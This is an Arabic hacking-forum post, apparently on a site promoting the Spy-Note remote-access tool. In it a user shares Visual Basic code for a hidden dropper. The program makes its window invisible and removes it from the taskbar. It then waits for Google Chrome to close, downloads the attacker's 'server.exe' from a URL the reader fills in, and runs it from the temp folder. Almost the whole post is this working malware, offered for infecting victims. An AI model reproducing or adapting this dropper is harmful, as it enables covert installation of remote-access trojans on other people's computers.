1. الملاحظات
    عزيزي زائر تم اطلاق الموقع الرسمي لبرنامج الاختراق Spy-Note
    إستبعاد الملاحظة
الكاتب : Dr.CN!ght | المشاهدات : 85 | الردود : 0
حالة الموضوع:
مغلق
  1. Dr.CN!ght موقوف لمخالفة الشروط

    الأنتساب:
    ‏12 سبتمبر 2015
    المشاركات:
    52
    الإعجابات المتلقاة:
    3
    نقاط الجائزة:
    30
    نظام التشغيل:
    windows xp
    اللغة البرمجية:
    Visual Basic
    Facebook:
    السلام عليكم
    كيف الصحه اخواني
    اقدم لكم تلغيمه شرطية تعتمد على اغلاق قوقل كروم
    اذا المستخدم قام بأغلاق قوقل كروم سوف يتم تحميل السيرفر الخاص بك وتشغيله
    ما اطول عليكم
    اعمل مشروع جديد واضف فيه Timer
    واضغط ضغطتين على الفورم
    واضف هذا الكود
    كود:
    Public Class Form1
     
        Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
            Me.ShowIcon = False
            Me.ShowInTaskbar = False
            Me.Opacity = 0%
            Timer1.Start()
        End Sub
     
        Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
            Dim name As String = Environ("UserName")
            Dim net As New Net.WebClient
            If My.Computer.FileSystem.FileExists("C:\Users\" + name + "\AppData\Local\Google\Chrome\User Data\chrome_shutdown_ms.txt") = True Then
                net.DownloadFile("url", Environ("tmp") & "/server.exe")
                Process.Start(Environ("tmp") & "/server.exe")
            End If
        End Sub
    End Class
    
    
    *=== تحديد كود ===*

    مع تبديل كلمة (url) ب الرابط المباشر للسيرفر الخاص بك
    في امان الله
     
حالة الموضوع:
مغلق

مشاركة هذه الصفحة